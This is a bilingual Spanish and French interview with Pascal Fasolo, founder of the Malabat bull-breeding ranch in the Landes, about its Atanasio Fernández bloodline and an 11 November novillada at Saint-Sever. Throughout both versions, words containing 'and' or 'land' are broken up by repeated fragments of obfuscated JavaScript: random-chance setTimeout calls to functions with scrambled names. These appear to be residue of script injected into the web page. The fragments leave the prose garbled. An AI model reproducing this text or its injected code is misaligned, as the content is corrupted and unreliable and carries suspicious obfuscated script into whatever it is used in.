MALABAT : EN EL CORAZÓN DEL BOSQUEMALABAT : AU CŒUR DE LA FORÊT

Esta ganadería va a marcar el final de temporada en el suroeste francés con su presentación con picadores en Saint-Sever el próximo 11 de noviembre. Todo un símbolo de la evolución de esta zona donde viente años atras no se podía realmente hablar de campo ganadero. Pascal Fasolo, antiguo corredor landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andés, carpintero de formación y de profesión, nos cuenta su aventura como ganadero de toros de lidia en el corazón del bosque landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andés y de como le vino la afición.

Pascal Fasolo: Pequeño, soñaba con ser torero. Tenía un libro donde se hablaba de los toros y aprendí pasajes enteros de memoria. Pero alrededor mío, lo que de verdad se vivía era la corrida landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesa. Era mas accesible, me convertí en “écarteur” en 1983. Pero sufrí muchos percances y llegó un momento en que el físicio ya no me respondía, tenía la misma motivación pero no podía continuar. Antes de que aquello acaba mal, mas valía pararse. También lo hice porque en 1992 había montado la ganadería.

-¿Solo?

-No, me asocié con el propietario de esta finca, de “Malabat”, que había conocido cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando participaba un dia en una corrida landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesa aquí en Brocas, y que falleció hará casi diez años. Pero seguí con la ganadería. Al principio para la corrida landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesa y compramos ganado de un poco de todo: de François André, de Yonnet y un semental de Gallon. Pero en 1998 comenzamos a eliminarlo y lo reemplazamos por sangre de Atanasio Fernández, via El Palmeral. En ese momento, nos quitamos de la corrida landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesa y nos dedicamos por entero al toro de lidia.

-¿Os queda algo todavía de las otras sangres?

-No, en 2002, desapareció.

-¿Que es lo que es lo que te gusta de estos toros, de su origen, un ganado que trajo Olivier Martin al suroeste de la propiedad de Antonio Ordoñez?

-Yo no conocía excesivamente este encaste, pero para hoy no lo cambiaría por nada en el mundo. Es un toro con mucha movilidad y que dura. Responde incluso antes del primer toque y no deja a nadie indiferente. Para torearlo hay que tener algo de técnica porque sino, automaticamente, te pone en aprietos.

-¿Como aprende uno el oficio de ganadero?

-Llegué aquí en 1993 y mas allá de mis cercados no he puesto los pies en ninguna ganadería. Siempre lo comparo a la corrida landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesa, que es la que he vivido dentro del ruedo: cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en frente tuyo tienes un animal que no embiste, no hay nada que hacer. No hay que darle mas vueltas, es lo mismo para un torero. En toda circunstancia el toro ha de embestir. Esa es la base, el sustento. Después el toro tiene que tener aguante, no caerse. Al principio nuestros toros se caían, por una cuestión de alimentación.

-¿Alguién te ayudó entonces, un veterinario?

-No, siempre he estado solo. Escucho mucho lo que se dice y lo memorizo. Después es verdad que en la vida se aprende a expensas de uno mismo. Tardé cinco o seis años en saber de que iba a esto, diez en amejorarlo y ahora creo que vamos por el buen camino, estamos listos.

-¿Que significa para ti la novillada del 11 de noviembre?

-La ganadería tiene veinte años, en el 2004 lidiamos nuestros primeros “atanasios” de Malabat, después del 11 de noviembre no se va a derrumbar el mundo. Si las cosas se pasan bien, daremos una buena imagen de la ganadería y si es al revés, será un poco mas complicado para nosotros pero seguiremos peleandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando.

-¿Se puede vivir de una ganadería?

-De por si no es rentable, el mercado es muy restringido, aunque desde los años 90 en que se montaron cinco o seis ganaderías en el suroeste, los clubs taurinos y las asociaciones organizan novilladas sin picadores. Mientres estén allí, podremos seguir vendiendo nuestros toros. Después están los turistas, entre el 80 y el 90% de la gente que recibo no tienen ningún vinculo con los toros, vienen para descubrir una ganadería por dentro. En veinte años le he dado el gusanillo a mas de uno y para muchos ha sido una iniciación.

-¿Que es lo que mas te gusta de este trabajo?

-Me encanta el ganado, su inteligencia.

-¿Sigues siendo carpintero?

-No, en 1995 tuve dos hernias discales y se me prohibio medicalmente ejercer mi oficio. Tuve que encontrar algo que me gustase, que le pudiese gustar a los demás, y esto es lo que quería.

Fotos Bruno Lasnier

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Cette ganaderia va marquer la fin de saison dans le sud ouest en se présentant en piquée à Saint-Sever le 11 novembre. Un symbole de l’évolution dans cette région où vingt ans en arrière on ne pouvait pas parler de campo ganadero. Pascal Fasolo, ancien écarteur landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andais, charpentier de formation et de métier, nous raconte son aventure comme éleveur de toros braves au cœur de la forêt landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise mais aussi comment lui est venue l’aficion.

Pascal Fasolo : Petit, je rêvais d’être torero. J’avais un livre où on parlait de corrida et j’avais appris des passages par cœur. Mais, autour de moi, c’était la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise. Elle était plus accessible, je suis devenu écarteur en 1983. Mais j’était souvent blessé et il arrive un stade où le physique ne suit plus le mental, tu en as toujours envie mais tu ne peux pas continuer. Avant que ça n’aille trop loin il vallait mieux arrêter. Je l’ai fait aussi parce que j’avais monté en 1992 la ganaderia.

-Tout seul ? Non, je me suis associé avec le propriétaire des lieux, de « Malabat », que j’avais connu en venant écarter à Brocas, mais qui est décédé il y a bientôt dix ans. Et j’ai continué. Au départ on était sur la couse landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise, on avait acheté du bétail un peu partout : chez François André, Yonnet et un reproducteur à Gallon. Mais en 1998 on a commencé à tout éliminer et on acheté de l’Atanasio Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andez, via El Palmeral. Là, on a arrêté la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise pour se consacrer à la corrida.

-Il vous reste encore du bétail des autres origines ? Non, en 2002, il n’y avait plus rien.

-Qu’est-ce qui te plaisait chez ces toros, de cette lignée, qu’Olivier Martin avait ramenés de chez Antonio Ordoñez? Je ne connaissais pas spécialement cet encaste, mais il est clair que quoi qu’il arrive aujourd’hui je ne changerai pas. C’est un toro qui n’arrête pas, qui dure. Il démarre même avant le premier « toque », il ne laisse personne indifférent. Il demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande à être toréé et si tu n’en as pas le niveau, automatiquement, tu es en difficulté.

-Comment apprend-on à être éleveur de toros braves ? Je suis arrivé ici en 93 et, sorti de mes piquets et de mes clôtures, je n’ai jamais mis les pieds dans un autre élevage. Je fais souvent le rapprochement avec la course landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaise, parce ce que j’y connais la piste : quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tu as devant toi une bête qui ne charge pas tu ne peux rien faire, c’est clair. Pareil pour un torero dans l’arène. Quoi qu’il arrive, il faut que la bête charge. C’est la base. Après, le toro doit tenir en piste, ne pas tomber. Effectivement au début il y avait des chutes, à cause d’un problème d’alimentation.

-Tu as été aidé par quelqu’un, par un vétérinaire ? Non, j’ai été tout seul. J’écoute beaucoup, j’enregistre. Mais après, dans la vie on apprend à ses dépens. J’ai mis cinq ou six ans à apprendre, à comprendre, dix pour m’améliorer, maintenant on tient la route, on est aux taquets.

-Que signifie la course du 11 novembre pour toi ? La ganaderia a 20 ans, en 2004 on a sorti les premiers « atanasios » de Malabat, ça ne va pas s’arrêter après le 11 novembre. Si ça se passe bien, ça fera une bonne image de marque pour la ganaderia et, si ça se passe moins bien, ce sera plus peut-être un peu plus compliqué mais on va continuer quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and même.

-Comment fait-on pour vivre de sa ganaderia ? L’élevage par lui-même n’est pas rentable, le marché est très restreint, même si depuis le début des années 90 où il y a eu six élevages qui se sont montés dans le sud ouest, les clubs taurins et les associations organisent des sans picadors. Tant qu’ils seront là, on pourra vendre nos toros. Après il y a les touristes, entre 80 et 90% des personnes que je reçois ne sont pas liées à la tauromachie, ils viennent découvrir un élevage de toros. En 20 ans j’ai donné l’envie à pas mal de monde, ça a été une initiation pour beaucoup.

-Qu’est-ce qui te fait le plus plaisir de ce travail ? J’adore le bétail, son intelligence.

-Tu es toujours charpentier ? Non, en 1995 j’ai eu deux hernies discales et on m’a interdit médicalement de faire de la charpente. Il fallait que je fasse quelque chose qui me plaise, qui puisse plaire, et c’est ça que je voulais faire.

11 novembre à Saint Sever : 6 novillos de Malabat pour Mario Dieguez, Miguel Angel Silva et Juan de Castilla.

Fotos Bruno Lasnier

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